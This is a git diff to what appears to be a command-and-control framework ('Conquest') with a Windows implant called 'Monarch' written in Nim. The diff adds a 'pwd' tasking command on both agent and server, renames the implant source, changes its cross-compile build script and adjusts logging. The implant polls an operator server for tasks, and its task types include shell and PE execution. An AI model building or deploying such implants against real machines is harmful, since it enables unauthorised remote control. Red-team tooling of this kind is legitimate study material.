diff --git a/agents/monarch/build.sh b/agents/monarch/build.sh index 9fbaaed..f87ff94 100644 --- a/agents/monarch/build.sh +++ b/agents/monarch/build.sh @@ -1,4 +1,4 @@ #!/bin/bash CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" -nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/agents/monarch/monarch.nim diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim index dc600a9..a1c6402 100644 --- a/agents/monarch/commands/commands.nim +++ b/agents/monarch/commands/commands.nim @@ -1,3 +1,3 @@ -import ./[shell, sleep] +import ./[shell, sleep, pwd] -export shell, sleep \ No newline at end of file +export shell, sleep, pwd \ No newline at end of file diff --git a/agents/monarch/commands/pwd.nim b/agents/monarch/commands/pwd.nim new file mode 100644 index 0000000..f008ed4 --- /dev/null +++ b/agents/monarch/commands/pwd.nim @@ -0,0 +1,32 @@ +import os, strutils, strformat, base64, winim + +import ../types + +proc taskPwd*(task: Task): TaskResult = + + echo fmt"Retrieving current working directory." + + try: + + # Get current working directory using GetCurrentDirectory + let + buffer = newWString(MAX_PATH + 1) + length = GetCurrentDirectoryW(MAX_PATH, &buffer) + + if length == 0: + raise newException(OSError, "Failed to get working directory.") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode($buffer[0 ..< (int)length] & "\n"), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index df80ed1..09201c3 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -35,15 +35,16 @@ proc register*(config: AgentConfig): string = proc getTasks*(config: AgentConfig, agent: string): seq[Task] = let client = newAsyncHttpClient() + var responseBody = "" try: # Register agent to the Conquest server - let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") return parseJson(responseBody).to(seq[Task]) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [getTasks]:", err.msg + echo "[-] [getTasks]: ", responseBody finally: client.close() diff --git a/agents/monarch/client.nim b/agents/monarch/monarch.nim similarity index 100% rename from agents/monarch/client.nim rename to agents/monarch/monarch.nim diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 2d54670..01a1a1a 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -23,6 +23,11 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult = # Return result return taskResult + of GetWorkingDirectory: + let taskResult = taskPwd(task) + echo taskResult.data + return taskResult + else: echo "Not implemented" return nil \ No newline at end of file diff --git a/server/agent/commands/commands.nim b/server/agent/commands/commands.nim index 2d8b8b4..1adbdae 100644 --- a/server/agent/commands/commands.nim +++ b/server/agent/commands/commands.nim @@ -1,5 +1,5 @@ -import ./[shell, sleep] -export shell, sleep +import ./[shell, sleep, pwd] +export shell, sleep, pwd #[ "Monarch" Agent commands: diff --git a/server/agent/commands/pwd.nim b/server/agent/commands/pwd.nim new file mode 100644 index 0000000..9d67286 --- /dev/null +++ b/server/agent/commands/pwd.nim @@ -0,0 +1,19 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskGetWorkingDirectory*(cq: Conquest) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: GetWorkingDirectory, + args: @[], + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to get current working directory.") \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index 03f1c26..f009222 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -20,6 +20,9 @@ var parser = newParser: command("info"): help("Display agent information and current settings.") + command("pwd"): + help("Retrieve current working directory") + command("help"): nohelpflag() @@ -58,6 +61,9 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = of "info": discard + of "pwd": + cq.taskGetWorkingDirectory() + # Handle help flag except ShortCircuit as err: if err.flag == "argparse_help": diff --git a/server/types.nim b/server/types.nim index 2d207fe..34c9fe8 100644 --- a/server/types.nim +++ b/server/types.nim @@ -15,6 +15,7 @@ type ExecuteAssembly = "dotnet" ExecutePe = "pe" Sleep = "sleep" + GetWorkingDirectory = "pwd" TaskStatus* = enum Completed = "completed" diff --git a/server/utils.nim b/server/utils.nim index 2b95fdd..97d977e 100644 --- a/server/utils.nim +++ b/server/utils.nim @@ -139,7 +139,7 @@ proc timeSince*(agent: Agent, timestamp: DateTime): Cell = proc drawTable*(cq: Conquest, agents: seq[Agent]) = let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"] - let widths = @[8, 15, 15, 15, 16, 15, 5, 8] + let widths = @[8, 15, 15, 15, 16, 13, 5, 8] let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault)) cq.writeLine(border(topLeft, topMid, topRight, widths))